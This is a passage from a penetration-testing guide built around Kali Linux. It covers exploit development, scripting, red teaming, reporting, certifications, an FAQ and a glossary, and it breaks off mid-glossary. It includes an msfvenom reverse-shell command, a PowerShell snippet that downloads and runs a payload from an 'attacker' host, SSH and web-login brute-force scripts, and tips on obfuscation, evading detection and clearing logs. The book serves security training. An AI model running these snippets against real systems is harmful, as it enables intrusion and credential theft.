script becomes necessary—either due to the lack of public exploits, the
need for evasion, or specific engagement requirements. In this chapter, we
delve into the fundamentals of exploit development, cover critical
vulnerability types like buffer overflows, explore scripting with Python,
Bash, and PowerShell, and learn to automate penetration testing tasks
effectively.

Basics of Exploit Development


Exploit development is the process of writing code to leverage
vulnerabilities in software, services, or systems. The goal is to manipulate
execution flow or gain unauthorized access by exploiting flaws such as:
● Buffer overflows

● Format string vulnerabilities

● Command injection

● Use-after-free

● Privilege escalation bugs

Understanding the Vulnerability


Before writing an exploit, a penetration tester must fully understand the
vulnerability:
● What causes the bug (input, memory management flaw,
misconfiguration)?

● Can it be reliably triggered?

● Is the system architecture and software version known?

● What mitigation mechanisms (DEP, ASLR, Stack Canaries) are in


place?

Exploit Development Workflow


1. Reconnaissance: Use tools like nmap, dirb, and gobuster to
identify vulnerable services or software versions.

2. Vulnerability Research: Check CVEs, Exploit-DB, and vendor


advisories.

3. Proof-of-Concept: Write a script that crashes or demonstrates


the bug.

4. Shellcode Injection: Embed custom or generated payload.

5. Bypass Protections: Evade mitigations like DEP/ASLR.

6. Reliable Exploitation: Make it stable, repeatable, and minimally


invasive.

Tools like GDB, pwndbg, Radare2, and Immunity Debugger are critical for
dynamic analysis and exploit crafting.

Buffer Overflows and Shellcode Injection


One of the oldest and most exploited vulnerabilities, buffer overflow occurs
when data exceeds the allocated buffer and overwrites adjacent memory,
potentially overwriting function return addresses and redirecting execution.

Anatomy of a Simple Stack-Based Buffer Overflow


Vulnerable C code:
void vuln(char *input) {
char buffer[64];
strcpy(buffer, input);
}

1. Exploit Strategy:

○ Send input >64 bytes to overwrite return address.

○ Inject shellcode or jump to NOP sled.

Generate Shellcode:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100
LPORT=4444 -f c
2. Exploit Script in Python:
offset = 64

ret = b"\x90\x90\x90\x90" # Replace with actual address


payload = b"A" * offset + ret + shellcode

Exploit Mitigation Bypasses


● NOP sleds for ASLR
● ROP chains to bypass DEP

● Return-to-libc attacks

● Stack pivoting

Shellcode must be:


● Null-byte free

● Platform and architecture specific

● Carefully encoded if delivered via web or other input vectors

Using Python, Bash, and PowerShell in Pentesting


Scripting is essential for automation, exploitation, data parsing, and payload
generation. Each scripting language offers unique advantages based on the
environment.

Python
● Advantages: Cross-platform, libraries for sockets, HTTP, crypto, etc.

● Common Uses:

○ Exploit development

○ Custom scanners and bruteforcers

○ Interfacing with Metasploit RPC or Shodan API

○ Payload delivery tools

Example: Simple port scanner


import socket
def scan(target, ports):
for port in ports:
try:
sock = socket.socket()
sock.connect((target, port))
print(f"[+] Port {port} open")
sock.close()
except:
pass

Bash
● Advantages: Native on Linux, ideal for quick automation and
chaining tools.

● Common Uses:

○ Automating recon with tools like nmap, nikto, wpscan

○ File uploads/downloads using curl, wget

○ Local privilege escalation enumeration

Example: Bash loop to brute-force SSH


for user in $(cat users.txt); do
for pass in $(cat passwords.txt); do
sshpass -p $pass ssh [email protected] -o StrictHostKeyChecking=no
-o ConnectTimeout=5
done
done

PowerShell
● Advantages: Native to Windows, access to COM objects, WMI,
.NET APIs

● Common Uses:

○ Post-exploitation tasks

○ System info and persistence

○ Lateral movement and credential access

○ Bypassing AV and UAC

Example: Download and execute payload


$wc = New-Object System.Net.WebClient
$wc.DownloadFile("http://attacker/payload.exe",
"$env:TEMP\payload.exe")
Start-Process "$env:TEMP\payload.exe"

Tip: Obfuscate PowerShell scripts to avoid detection using tools like


Invoke-Obfuscation.

Automating Tasks and Writing Simple Tools


Automation saves time and minimizes errors during testing. By building
small, purpose-built tools, you can streamline:
● Host discovery
● Wordlist generation

● Enumeration

● Exploitation chaining

● Reporting

Building a Brute Force Script (Python)


import requests

url = "http://target/login"
with open("users.txt") as users, open("passwords.txt") as passwords:
for u in users:
for p in passwords:
r = requests.post(url, data={"username": u.strip(), "password":
p.strip()})
if "Welcome" in r.text:
print(f"Success: {u.strip()}:{p.strip()}")

Automating Tool Chains with Bash


Combine recon tools for web application testing:
nmap -p 80,443 --open -oG web_hosts.txt 192.168.1.0/24
cat web_hosts.txt | grep 80 | awk '{print $2}' | while read host; do
nikto -h http://$host -o $host.txt
dirb http://$host >> $host.txt
done
Creating Reusable Payload Generators
Build shell scripts that wrap msfvenom and encode payloads in different
formats (hex, base64, etc.) for delivery across filtered channels.
Red Teaming and Simulated
Attacks
Red Teaming represents the pinnacle of offensive security operations. It
transcends traditional penetration testing by simulating real-world threat
actor behaviors to assess an organization’s detection and response
capabilities. While penetration testing often focuses on finding
vulnerabilities and misconfigurations, red teaming evaluates how well the
organization's people, processes, and technologies can defend against a
skilled adversary over time.
This chapter will explore Red Teaming and its distinction from Blue and
Purple Teams, how to plan and execute simulated attacks, the usage of
Command and Control (C2) frameworks, and best practices for reporting
and debriefing post-engagement.

Red vs. Blue vs. Purple Teams Explained


Understanding the different roles in an organization’s security posture is
critical to designing effective red team exercises.

Red Team (Offensive)


● Objective: Simulate realistic adversarial attacks to test detection,
prevention, and response mechanisms.

● Focus Areas: Social engineering, phishing, lateral movement, stealth,


evasion of defenses, persistence.

● Tools: Cobalt Strike, Metasploit, Empire, Covenant, custom payloads.

Blue Team (Defensive)


● Objective: Detect, prevent, and respond to security incidents and
intrusions.

● Focus Areas: Log analysis, SIEM tuning, threat hunting, incident


response, firewall/rule enforcement, endpoint monitoring.

● Tools: Splunk, ELK, Wireshark, EDR/XDR tools, Zeek, OSSEC.

Purple Team (Collaborative)


● Objective: Bridge the gap between red and blue teams to enhance
detection and response collaboratively.

● Focus Areas: Share insights from red team with blue team to improve
defenses; use detection scripts during attacks.

● Tools: MITRE ATT&CK mapping, Atomic Red Team, CALDERA,


custom simulations.

Key Distinction: Red Teams emulate how attacks happen. Blue Teams
defend. Purple Teams ensure everyone learns and improves from the
simulation.

Planning and Executing Simulated Attacks


A successful red team engagement starts with careful scoping, clear goals,
and a strong understanding of the rules of engagement. These simulations
should mirror advanced persistent threats (APTs), insider threats, and real-
world adversarial campaigns.

Phases of a Red Team Engagement


1. Planning and Reconnaissance
○ Understand the target environment.

○ Perform passive reconnaissance (WHOIS, LinkedIn,


subdomains, leaked credentials).

○ Define objectives and success criteria.

○ Get written authorization and define the Rules of Engagement


(RoE).

2. Initial Access

○ Gain a foothold through:

■ Spear phishing

■ Watering hole attacks

■ USB drop

■ Credential stuffing

3. Establish Persistence

○ Set up scheduled tasks, registry keys, or WMI event consumers.

○ Deploy Command and Control implants.

4. Privilege Escalation

○ Exploit weak service configurations, token impersonation,


kernel exploits.
○ Dump credentials and extract password hashes.

5. Lateral Movement

○ Use SMB, PsExec, WMI, RDP, and custom scripts to move


across systems.

○ Maintain OPSEC while moving internally.

6. Objective Fulfillment

○ Steal sensitive data, exfiltrate files, access crown jewels (e.g.,


domain controller).

○ Avoid triggering detection mechanisms.

7. Covering Tracks

○ Clear logs, delete scripts, manipulate timestamps.

○ Use anti-forensics techniques.

OPSEC in Red Teaming


Operational Security is paramount. Red Teamers must:
● Avoid crashing systems.

● Use encrypted channels.


● Rotate infrastructure (domain fronting, proxy chaining).

● Evade EDRs with fileless payloads and memory injection.

Command and Control (C2) Techniques


A key element in red teaming is maintaining communication with
compromised systems. Command and Control (C2) frameworks allow
attackers to issue commands, transfer files, and execute tasks covertly.

Types of C2 Channels
1. HTTP/HTTPS (Web-based)

○ Blends with legitimate traffic.

○ Uses domain fronting and traffic obfuscation.

○ Examples: Cobalt Strike, Covenant.

2. DNS Tunneling

○ Uses DNS requests to transmit data.

○ Slower but stealthier in high-surveillance environments.

3. SMB/Named Pipes

○ Internal C2 in Windows environments.

○ Fileless and stealthy lateral movement.


4. ICMP, FTP, SMTP

○ Alternative covert channels.

○ Less common, but may bypass naive detection mechanisms.

Popular C2 Frameworks
● Cobalt Strike: Advanced features, OPSEC-friendly, often emulates
APTs.

● Empire: PowerShell-based, useful for Windows-centric


environments.

● Mythic: Modern, open-source C2 with UI, multiple agents.

● Sliver: Open-source adversary simulation, cross-platform.

● Metasploit: Basic C2 via Meterpreter, extensible.

C2 Tactics: Use jitter, sleep timers, and encrypted channels. Rotate


infrastructure using VPS, redirectors, and C2 staging servers.

Reporting and Debriefing


After the simulated attack, the most important deliverable is a clear,
concise, and actionable report. The goal is not to shame the blue team, but
to enhance the organization's defensive maturity.

Red Team Report Structure


1. Executive Summary
○ High-level overview of the engagement.

○ Risk ratings, key findings, and business impact.

2. Attack Path Narrative

○ Step-by-step account of the simulated attack.

○ Visual attack chain diagrams and screenshots.

3. Findings and Evidence

○ Exploited vulnerabilities with proof.

○ System misconfigurations, weak controls.

4. Detection & Response Assessment

○ What was detected, when, and how.

○ Response times and effectiveness.

5. Recommendations

○ Concrete, prioritized remediation steps.

○ Defense-in-depth strategies and tool improvements.


6. Appendices

○ IOCs (Indicators of Compromise)

○ Payload hashes

○ C2 infrastructure details (when applicable)

Debriefing Process
● Purple Team Workshop: Red and Blue teams analyze the
engagement together using MITRE ATT&CK.

● Lessons Learned: Share what worked, what failed, and how to


improve.

● Retesting Plan: Schedule follow-up engagements to verify fixes.

Tip: Focus on enabling improvement—not assigning blame.


Reporting and Documentation
Penetration testing and red team engagements go beyond just identifying
vulnerabilities and exploiting weaknesses—they are fundamentally about
providing organizations with actionable insights and recommendations to
improve their overall security posture. One of the most critical aspects of
any penetration test or red team engagement is the reporting and
documentation phase. This phase ensures that all findings, methodologies,
risks, and remediation strategies are communicated clearly, professionally,
and efficiently to the stakeholders.
This chapter explores the importance of professional reporting, the tools
used for generating reports, how templates and real-world examples can
streamline the process, and how to effectively communicate risk and impact
in security findings.

Importance of Professional Reporting


The primary purpose of a penetration test or red team engagement is not
just to find vulnerabilities but to convey these findings to the relevant
parties in a manner that enables them to make informed decisions.
Therefore, professional reporting serves several key purposes:

1. Clear Communication of Findings


A penetration test or red team engagement typically involves complex
technical findings. Without clear communication, these findings may be
misinterpreted or ignored, which could lead to ineffective remediation. A
well-structured report helps ensure that all stakeholders, including non-
technical managers, can understand the issues and their potential impacts on
the organization.

2. Actionable Insights for Remediation


A professional report doesn’t just point out vulnerabilities but also offers
concrete, actionable recommendations for mitigating them. It should
provide the organization with the necessary context, priority level, and
remediation steps to secure the environment and reduce the attack surface.

3. Documentation for Compliance and Auditing


Many organizations require penetration testing and red teaming to comply
with industry standards, regulations, and auditing requirements (e.g.,
GDPR, HIPAA, PCI DSS). A comprehensive report serves as a documented
proof that testing was conducted and vulnerabilities were addressed,
ensuring compliance.

4. Risk and Impact Assessment


Penetration testing reports should go beyond a simple list of vulnerabilities
—they must evaluate the risk and impact of each finding. Without this, it
can be difficult for stakeholders to understand the significance of the
vulnerabilities and prioritize remediation efforts effectively.

5. Measurement of Security Posture Improvement


For repeat testing engagements, the report also allows organizations to
measure progress in improving their security posture. It can compare the
state of the organization’s security over time, showing whether previously
identified issues were addressed, and helping to set benchmarks for future
engagements.

Tools for Report Generation


Several tools and platforms can be used to automate, streamline, or enhance
the report generation process in penetration testing and red teaming
engagements. These tools are particularly helpful in situations where a large
amount of data is collected, or when reports must be generated quickly,
efficiently, and consistently.

1. Dradis
● Overview: Dradis is a widely used open-source collaboration and
reporting tool for security professionals. It centralizes data collection,
collaboration, and reporting, making it easier to generate penetration
testing reports.

● Features: Automated report generation, integration with common


tools (e.g., Nmap, Nessus, Metasploit), customizable templates.

● Advantages: Streamlines collaboration, especially in larger teams,


and reduces manual effort in generating reports.

2. Faraday
● Overview: Faraday is a penetration testing platform that allows real-
time collaboration on vulnerability management. It also provides
powerful reporting capabilities to generate detailed test reports.

● Features: Real-time collaboration, real-time data processing,


customizable report templates.

● Advantages: Well-suited for team-based testing engagements,


especially for large-scale assessments.

3. Metasploit Pro
● Overview: Metasploit Pro is a commercial penetration testing tool
that offers a range of automated features, including report generation
capabilities.

● Features: Automated exploitation, customizable reports, integration


with vulnerability scanners like Nexpose.

● Advantages: Convenient for teams using Metasploit for exploitation


and reporting.
4. Nessus
● Overview: Nessus is one of the most widely used vulnerability
scanners. It provides detailed vulnerability reports and helps to
identify issues ranging from low-risk vulnerabilities to high-impact
exploits.

● Features: Automated vulnerability scanning, detailed risk reports,


ease of use.

● Advantages: Ideal for quick vulnerability scanning and risk


assessment.

5. Burp Suite
● Overview: Burp Suite, a popular tool for web application security
testing, provides a range of options for generating vulnerability
reports in addition to its testing capabilities.

● Features: Advanced web application scanning, detailed vulnerability


reporting, customizable templates.

● Advantages: Great for web application security assessments and


generating detailed web-specific vulnerability reports.

Templates and Real-World Examples


To ensure consistency and professionalism, many penetration testers and
red teamers rely on report templates. Templates help to standardize the
format, structure, and content of the report, making it easier to generate and
more reliable for stakeholders to follow.

Report Template Structure


A well-organized penetration testing or red team report typically follows
this structure:
1. Cover Page

○ Title of the report

○ Client name and contact information

○ Date of the engagement

○ Author(s) name and contact information

2. Executive Summary

○ A high-level overview of the engagement, including key


findings, risk ratings, and business impact.

○ Aimed at non-technical decision-makers.

○ Should be concise but comprehensive enough to give


stakeholders an understanding of the test results.

3. Methodology

○ A detailed description of the testing methodology used in the


engagement (e.g., OWASP Top 10, MITRE ATT&CK).

○ Should explain the approach taken in each phase of the test


(scoping, reconnaissance, exploitation, post-exploitation,
reporting).

4. Detailed Findings
○ A breakdown of vulnerabilities identified, with detailed
technical information, evidence (e.g., screenshots, logs), and
risk assessment.

○ Each finding should include:

■ Vulnerability Description: What was found?

■ Risk Rating: Low, Medium, High (or another risk


classification system).

■ Impact: What are the potential consequences if


exploited?

■ Evidence: Proof of the vulnerability or exploit.

5. Remediation Recommendations

○ Actionable steps for fixing each vulnerability.


Recommendations should be clear and tailored to the
organization’s context.

○ Provide enough information for technical staff to understand the


severity of the issue and how to address it.

6. Conclusion

○ Summary of the engagement and any remaining issues that


need to be addressed.

○ Can include further testing recommendations or a plan for


follow-up engagements.
7. Appendices

○ List of tools used during the engagement.

○ Vulnerability details (e.g., CVEs, exploit references).

○ Screenshots, logs, or any other supplementary materials.

Real-World Examples
Many penetration testers share anonymized reports online to serve as
examples of high-quality documentation. Some platforms even offer
publicly available templates, like the OWASP Testing Guide, which
includes structured report formats for web application testing. Furthermore,
red teamers often share their final engagement reports, offering insights into
what works in terms of communication with non-technical stakeholders and
providing examples of risk rating and impact assessment methodologies.

Communicating Risk and Impact


One of the most important aspects of reporting is effectively
communicating the risk and impact of vulnerabilities to non-technical
stakeholders. The ultimate goal is to enable the organization to understand
which vulnerabilities pose the greatest threat to its assets and which require
immediate remediation.

Risk Assessment
Risk can be broken down into two major components: likelihood and
impact.
1. Likelihood: How likely is it that the vulnerability will be
exploited?
○ Likelihood can be assessed based on:

■ Publicly available exploits (e.g., CVE details).

■ Complexity of exploitation.

■ Attack surface exposure.

■ Available protections (e.g., patching, security


configurations).

2. Impact: What would be the potential consequences if the


vulnerability were exploited?

○ Impacts should be assessed in terms of:

■ Confidentiality: Could the data be exposed or stolen?

■ Integrity: Could data be altered or corrupted?

■ Availability: Could systems be brought down or


disrupted?

■ Reputation: Could the exploit harm the organization’s


reputation or result in legal ramifications?

Risk Rating and Prioritization


To help stakeholders understand the significance of each vulnerability,
many penetration testers use a risk rating system (e.g., Critical, High,
Medium, Low). These ratings help prioritize vulnerabilities for remediation.
For example, an issue such as an RCE (Remote Code Execution)
vulnerability on a public-facing web server would likely be classified as
Critical, while a password policy misconfiguration might be rated as
Medium.
Staying Updated and Advancing
Your Skills
The cybersecurity landscape is constantly evolving, with new
vulnerabilities, exploits, and security tools emerging at a rapid pace. To
remain effective as a penetration tester, red teamer, or cybersecurity
professional, it is essential to stay updated on the latest developments, tools,
and techniques. This chapter explores how to keep your skills sharp, stay
informed about current trends in cybersecurity, and advance your expertise.

Kali Linux Rolling Release and Updates


Kali Linux, as a specialized operating system for penetration testing and
cybersecurity professionals, is in a constant state of development and
refinement. Staying updated with Kali Linux is essential to ensure you are
using the most current and effective tools and techniques for your
penetration tests.

1. Kali Linux Rolling Release Model


Kali Linux operates under a rolling release model, which means that once
you install Kali, you do not need to wait for a new major version of the
operating system to get the latest tools, patches, and updates. Instead,
updates are continually pushed to the system, making it easy for users to
stay up to date with minimal effort.
● Advantages of Rolling Release:

○ Immediate access to the latest security tools and features.

○ Continuous bug fixes and patches to existing tools.


○ Support for the newest hardware and devices as they become
available.

● How to Stay Updated:

○ Regular System Updates: Kali’s package manager, apt, can be


used to regularly update all installed packages. You can run
sudo apt update && sudo apt upgrade to ensure your system is
up to date.

○ Kali Repositories: Ensure your system is connected to the


official Kali repositories to access the latest updates. These
repositories are maintained by the Kali team and contain
updated versions of penetration testing tools and utilities.

○ Kali-Tools GitHub: Kali Linux maintains a GitHub repository


where you can access the latest updates for tools. Keeping track
of this repository can help you learn about new tools and
features being added to Kali.

2. Keeping Track of Tool Changes and New Features


Since Kali Linux includes hundreds of tools for penetration testing, security
auditing, and ethical hacking, it’s important to stay informed about changes
to these tools. Kali Linux often updates or adds new tools, which can
significantly impact your testing process.
● Tool-Specific Updates: Tools such as Metasploit, Nmap, Burp Suite,
and others in Kali Linux are frequently updated. Checking their
changelogs regularly can keep you informed about new exploits,
features, or critical bug fixes.

● Kali Linux Blog and Mailing Lists: Kali’s blog and mailing lists are
excellent resources to stay informed about the latest updates, features,
and changes. They often provide detailed instructions on how to use
new tools and functionality.
Following Security Feeds and Vulnerability
Databases
To stay ahead of emerging threats and vulnerabilities, it is essential to
monitor various security feeds, vulnerability databases, and news
sources. This not only helps you identify the latest vulnerabilities but also
enhances your understanding of how attackers exploit those vulnerabilities
and how to defend against them.

1. Vulnerability Databases
Vulnerability databases track and catalog security vulnerabilities across
various software, hardware, and systems. These databases are invaluable for
penetration testers who need to identify known vulnerabilities during their
assessments.
● Common Vulnerabilities and Exposures (CVE): CVE is one of the
most widely recognized vulnerability databases, providing a unique
identifier for each known vulnerability. Regularly monitoring CVE
can help you understand vulnerabilities as they are discovered and
patched.

● Exploit Database: Maintained by Offensive Security, the Exploit


Database is a collection of public exploits. It provides penetration
testers with a comprehensive source of information about exploits,
which can be valuable for assessing vulnerabilities.

● National Vulnerability Database (NVD): NVD is a U.S.


government-sponsored database that complements CVE by providing
more detailed metadata, such as vulnerability severity ratings and
impact assessments.

2. Security Feeds and News Sources


Following real-time security feeds and news sources is critical to stay aware
of the latest threats and zero-day vulnerabilities.
● Security Mailing Lists and Alerts:

○ Full Disclosure: A public mailing list for discussing


vulnerabilities and exploits, where security researchers and
attackers sometimes share information.

○ Bugtraq: Another popular mailing list that shares vulnerability


information.

○ US-CERT Alerts: The United States Computer Emergency


Readiness Team (US-CERT) issues security alerts for current
and emerging cybersecurity threats, and subscribing to their
feed can help you stay informed.

● Security Blogs and Websites:

○ The Hacker News: A widely respected security news website


that shares real-time updates about security breaches,
vulnerability disclosures, and major cybersecurity events.

○ Krebs on Security: A cybersecurity blog by Brian Krebs,


which offers in-depth analysis of major cybersecurity incidents
and vulnerabilities.

○ Dark Reading: A cybersecurity news platform that provides


information on security research, emerging threats, and
vulnerability analysis.

3. Security Twitter Feeds and Social Media


Social media platforms, particularly Twitter, have become key sources for
real-time security news. Many renowned cybersecurity experts and
organizations share immediate updates about newly discovered
vulnerabilities, tools, and attacks.
● Follow Experts and Organizations: Follow prominent security
researchers and organizations on Twitter, such as @thegrugq,
@malwareunicorn, and @DarkReading. These professionals often
share breaking news and research findings that can help you stay
ahead of the curve.

Certifications: OSCP, CEH, CompTIA Pentest+


Certifications provide structured learning and demonstrate your proficiency
in penetration testing and ethical hacking. While certifications are not
mandatory to be a successful pentester, they can significantly enhance your
career prospects and demonstrate your commitment to professional growth.

1. Offensive Security Certified Professional (OSCP)


● Overview: The OSCP certification, offered by Offensive Security, is
one of the most well-respected and challenging certifications in the
cybersecurity industry. The certification focuses on hands-on
penetration testing skills and requires candidates to complete a
practical exam where they must compromise various systems.

● Skills Tested: The OSCP exam tests your ability to conduct real-
world penetration tests, including identifying vulnerabilities,
exploiting them, and reporting findings. It is widely recognized as a
foundational certification for anyone serious about a career in
penetration testing.

● Preparation: The best way to prepare for OSCP is through hands-on


practice. The PWK (Penetration Testing with Kali Linux) course
provides all the knowledge and tools you need to succeed.

2. Certified Ethical Hacker (CEH)


● Overview: The CEH, offered by EC-Council, is another widely
recognized certification that focuses on the foundational knowledge
needed to understand ethical hacking and penetration testing. The
CEH covers a wide range of topics, from network security to web
application testing and exploitation.
● Skills Tested: Topics covered include hacking methodologies, system
penetration, social engineering, and web application attacks. The
certification provides a broad understanding of penetration testing but
is not as hands-on as the OSCP.

● Preparation: The CEH certification is ideal for those new to


cybersecurity and ethical hacking. You can prepare for the exam
through online courses, books, and labs offered by EC-Council.

3. CompTIA PenTest+
● Overview: CompTIA PenTest+ is another certification focused on
penetration testing skills. This certification provides foundational
knowledge and hands-on experience in penetration testing,
vulnerability assessment, and management.

● Skills Tested: Topics include penetration testing methodologies,


vulnerability scanning, report generation, and network security.
PenTest+ is well-suited for those who want a comprehensive
understanding of penetration testing without the intense practical
focus of the OSCP.

● Preparation: CompTIA offers study materials, labs, and practice


exams to help candidates prepare for PenTest+. The certification is
suitable for entry-level to intermediate professionals.

Community, Forums, and Conferences


Staying connected with the broader cybersecurity community is essential
for continual learning and professional growth. Engaging with peers,
attending conferences, and participating in forums can help you gain
insights, share experiences, and stay on top of emerging trends.

1. Online Communities and Forums


● Reddit: Subreddits like /r/netsec, /r/penetrationtesting, and /r/hacking
provide a wealth of information, discussions, and resources about
penetration testing.

● StackExchange (Information Security): The Information Security


Stack Exchange is an excellent platform for asking specific questions,
solving complex problems, and engaging with other penetration
testers and security professionals.

● Hack The Box Forum: Hack The Box is a popular platform for
penetration testing challenges. The forum offers a collaborative
environment where users can discuss techniques, challenges, and
solutions.

2. Conferences and Meetups


● DefCon: One of the largest and most well-known cybersecurity
conferences, DefCon gathers thousands of security professionals and
enthusiasts from around the world. It offers opportunities to attend
workshops, learn from security researchers, and network with
industry experts.

● Black Hat: Another leading security conference, Black Hat features


cutting-edge research, training sessions, and presentations from top
security experts.

● OWASP AppSec Conferences: If you're specifically interested in


web application security, attending OWASP conferences can help you
stay up to date with the latest vulnerabilities and mitigation
techniques.

3. Local Meetups and Workshops


● Security Meetups: Many cities have local meetups for cybersecurity
professionals. Websites like Meetup.com can help you find
networking events, hackathons, or workshops in your area.
● Capture the Flag (CTF) Events: CTF challenges are a great way to
practice your penetration testing skills and learn from others in the
community. Participating in CTFs can help you refine your skills in a
competitive and collaborative environment.
Frequently Asked Questions
(FAQs) - Penetration Testing with
Kali Linux
Below is a detailed table of frequently asked questions related to Kali
Linux, penetration testing, and the tools and techniques involved in this
process. This section is designed to provide clarity on common concerns
and help users understand various aspects of penetration testing.

F Question Answer
A
Q
#
1 What is Kali Kali Linux is a Debian-based Linux distribution
Linux? that is specifically designed for penetration testing,
ethical hacking, and security auditing. It comes
preloaded with numerous security tools.
2 Is Kali Linux Yes, Kali Linux is an open-source, free-to-use
free to use? distribution. Users can download, modify, and use
it without any licensing fees.
3 How do I Kali Linux can be installed on various platforms
install Kali such as bare metal, virtual machines (e.g.,
Linux? VMware, VirtualBox), or even on Raspberry Pi.
Installation guides are available on Kali's official
website.
4 What is Penetration testing (or ethical hacking) involves
penetration simulating cyber-attacks on systems to identify
testing?
vulnerabilities and security weaknesses before
malicious hackers exploit them.
5 What tools Kali Linux comes with more than 600 pre-
does Kali installed tools for various tasks including
Linux information gathering, vulnerability scanning,
include? exploitation, and reporting. Some popular tools
include Nmap, Metasploit, Burp Suite, and
Aircrack-ng.
6 Can I use Kali While Kali Linux is optimized for penetration
Linux for testing, it is still a full-featured Linux distribution.
general use, or However, it's not typically recommended for
is it just for general use, as it is geared toward security
security? professionals.
7 How do I Kali Linux can be updated using the terminal with
update Kali the command: sudo apt update && sudo apt
Linux? upgrade. This ensures you have the latest tools and
security patches.
8 What is Nmap (Network Mapper) is a popular tool for
Nmap, and network discovery and vulnerability scanning. It is
how is it used used to discover hosts, open ports, services, and
in penetration versions on a network during a penetration test.
testing?
9 What is Metasploit is an advanced exploitation framework
Metasploit? that helps penetration testers identify and exploit
vulnerabilities in systems. It provides a wide range
of exploits, payloads, and auxiliary tools.
10 What are the The main phases are: 1) Reconnaissance
main phases of (information gathering), 2) Scanning (identifying
a penetration vulnerabilities), 3) Exploitation (gaining access),
test? 4) Post-exploitation (maintaining access and
lateral movement), 5) Reporting and Remediation.
11 What is the - Black-box testing involves no prior knowledge
difference of the target system. - White-box testing provides
between full knowledge of the system to the tester. - Gray-
black-box, box testing involves partial knowledge.
white-box, and
gray-box
testing?
12 Can Kali Yes, Kali Linux includes tools like Aircrack-ng
Linux be used and Reaver that allow users to perform wireless
for wireless network attacks such as WPA cracking, packet
network sniffing, and creating rogue access points.
hacking?
13 What is the Meterpreter is a powerful payload used in
Metasploit Metasploit that provides a secure, flexible
Meterpreter? communication channel between the attacker and
the victim machine. It allows advanced post-
exploitation actions.
14 Is Kali Linux Yes, Kali Linux is legal to use. However,
legal to use? penetration testing should only be conducted on
systems where you have explicit permission.
Unauthorized hacking is illegal and unethical.
15 What are Common attack vectors include phishing, social
common engineering, network-based attacks, application
attack vectors vulnerabilities (SQL injection, cross-site
in penetration scripting), and misconfigurations.
testing?
16 What is the Privilege escalation allows a tester to gain higher-
role of level access (root/admin) to a compromised
privilege system, providing more control and access to
escalation in sensitive data and functions.
penetration
testing?
17 What is ARP ARP (Address Resolution Protocol) spoofing is a
spoofing and technique used in man-in-the-middle attacks. It
how is it used allows an attacker to intercept, modify, or redirect
in pentesting? network traffic between devices on the same
network.
18 What is the A penetration testing report documents findings,
role of a vulnerabilities, their risks, and the steps for
penetration remediation. It helps organizations improve their
testing report? security posture by addressing critical
vulnerabilities.
19 Can Kali Yes, Kali Linux includes powerful tools such as
Linux be used Burp Suite, Nikto, and OWASP ZAP for web
for web application testing. These tools help find
application vulnerabilities like SQL injection, XSS, and CSRF
penetration in web applications.
testing?
20 What is social Social engineering involves manipulating people
engineering, into divulging confidential information. It can be
and how is it tested through simulated phishing emails,
tested? pretexting, or baiting, using tools like the Social-
Engineer Toolkit (SET).
21 What is the Post-exploitation is important because it involves
importance of maintaining access, escalating privileges, moving
post- laterally within a network, and exfiltrating data. It
exploitation in simulates what an attacker would do after initial
penetration access.
testing?
22 What are Common methods include brute force, dictionary
common attacks, and rainbow table attacks. Tools like
methods for Hashcat and John the Ripper are widely used for
password password cracking.
cracking?
23 What is the Proper documentation provides a detailed record
importance of of the testing process, findings, and recommended
documentation mitigations. It serves as evidence and allows the
in penetration client to understand the severity and risk of
testing? vulnerabilities.
24 Can Kali Yes, Kali Linux is widely used in red teaming for
Linux be used simulating real-world cyberattacks, including
to perform red tactics like phishing, exploitation, and evading
team detection. Red teams mimic adversaries' attack
operations? methods.
25 What are Popular certifications include OSCP (Offensive
penetration Security Certified Professional), CEH (Certified
testing Ethical Hacker), and CompTIA Pentest+. These
certifications? certifications validate the skills and knowledge of
penetration testers.
Glossary of Terms

Term Definition
AET A set of sophisticated exploitation techniques used to
(Advanced bypass security controls and gain access to a target
Exploitation system.
Techniques)
ARP A protocol used to map an IP address to a MAC address,
(Address used in local network communications.
Resolution
Protocol)
AV Software designed to detect, prevent, and remove
(Antivirus) malware, viruses, and other malicious programs from a
computer system.
Backdoor A hidden method of accessing a system or network,
often used by attackers to maintain access to a system
without detection.
Buffer A vulnerability that occurs when data exceeds the
Overflow allocated buffer size in memory, potentially allowing
attackers to execute arbitrary code.
C2 A type of communication channel used by attackers to
(Command control compromised systems (usually a botnet or
and Control) infected host).
CVE A publicly disclosed cybersecurity vulnerability or
(Common exposure, each identified with a unique CVE number.
Vulnerabilitie
s and
Exposures)
CWE A list of software weaknesses or vulnerabilities,
(Common organized by type and severity.
Weakness
Enumeration)
Denial of An attack that attempts to make a service unavailable by
Service (DoS) overwhelming it with traffic or exploiting vulnerabilities
to crash the system.

DNS Spoofing A type of attack where DNS responses are manipulated


to redirect users to malicious websites.
Exfiltration The unauthorized transfer of data from a system or
network to an external location, typically by attackers to
steal sensitive data.
Exploit A piece of code, software, or technique used by attackers
to take advantage of a vulnerability in a system or
application.
Exploit A publicly available collection of exploits,
Database vulnerabilities, and related data used by penetration
(Exploit-DB) testers and attackers to identify vulnerabilities.
Firewall A security system that monitors and controls incoming
and outgoing network traffic, typically designed to
prevent unauthorized access to or from a private
network.

Hashing The process of converting data into a fixed-length string


(a hash), which is commonly used for data integrity
verification and password storage.
Honeypot A decoy system or network designed to lure and trap
attackers, often used for research or to monitor and
analyze attack behaviors.
IDS A system designed to detect unauthorized access,
(Intrusion attacks, or malicious activities on a network or system.
Detection
System)
IPS A system designed to detect and prevent attacks or
(Intrusion unauthorized access in real-time, often blocking
Prevention malicious traffic before it reaches its target.
System)
JWT (JSON A compact, URL-safe token format used to securely
Web Token) transmit information between parties, often used in
authentication and authorization.

Keylogger Malicious software or hardware used to monitor and


record keystrokes, often to steal sensitive information
like passwords.
Lateral The technique of moving within a network to discover
Movement more systems, expand control, and exploit additional
resources after an initial system compromise.
Malware Malicious software designed to harm, exploit, or
otherwise compromise a system or network.
Man-in-the- An attack where the attacker secretly intercepts and
Middle potentially alters communication between two parties
(MitM) without their knowledge.
Attack
Meterpreter A powerful payload within the Metasploit Framework
that allows attackers to interact with a compromised
system and execute various commands remotely.
NAT A technique used to modify network address information
(Network in IP packet headers, commonly used in routers to allow
Address multiple devices to share a single public IP address.
Translation)
Nmap An open-source tool used for network discovery,
(Network vulnerability scanning, and port scanning. It is widely
Mapper) used for mapping out networks and identifying hosts and
services.
NTP A protocol used to synchronize clocks over a network to
(Network ensure accurate timekeeping, often critical for logging
Time and security.
Protocol)
OSCP A certification awarded to professionals who complete
